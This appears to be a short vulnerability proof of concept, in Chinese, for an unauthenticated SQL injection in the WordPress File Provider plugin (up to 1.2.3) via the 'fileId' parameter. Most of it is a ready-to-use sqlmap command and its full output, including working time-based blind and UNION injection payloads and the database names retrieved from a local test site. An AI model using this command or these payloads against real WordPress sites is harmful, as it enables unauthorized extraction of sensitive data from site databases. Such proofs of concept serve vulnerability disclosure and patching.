File Provider <= 1.2.3 - 未认证 SQL 注入
WordPress 的 File Provider 插件在所有版本（最高至 1.2.3，含 1.2.3）中，由于对用户提供的参数转义不足，且未对现有 SQL 查询进行充分预处理，因此可通过 'fileId' 参数遭受 SQL 注入攻击。这使得未经认证的攻击者能够将额外的 SQL 查询追加到现有查询中，从而从数据库中提取敏感信息。
sqlmap.py -u "http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php?action=dfp_download_file&fileId=*" --dbs --batch --dbms mysql --level=5 --risk=3 --threads=1 --time-sec=5
___
__H__
___ ___[,]_____ ___ ___ {1.9.7.3#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:27:43 /2025-07-10/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[12:27:44] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:27:44] [INFO] testing connection to the target URL
[12:27:44] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=3c848e84eb9...0a1642563d'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php?action=dfp_download_file&fileId=(SELECT 6405 FROM (SELECT(SLEEP(5)))IWaW)
Type: UNION query
Title: Generic UNION query (random number) - 1 column
Payload: http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php?action=dfp_download_file&fileId=-9489 UNION ALL SELECT CONCAT(0x7170717671,0x7a444e596a635a4a5973674b546c5748505855427457424358546451667473444c444c614f455173,0x71626b7171)-- -
---
[12:27:44] [INFO] testing MySQL
[12:27:45] [INFO] confirming MySQL
[12:27:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.28, PHP, Apache 2.4.62
back-end DBMS: MySQL >= 9.0.0
[12:27:45] [INFO] fetching database names
[12:27:45] [INFO] retrieved: 'information_schema'
[12:27:45] [INFO] retrieved: 'performance_schema'
[12:27:45] [INFO] retrieved: 'exampledb'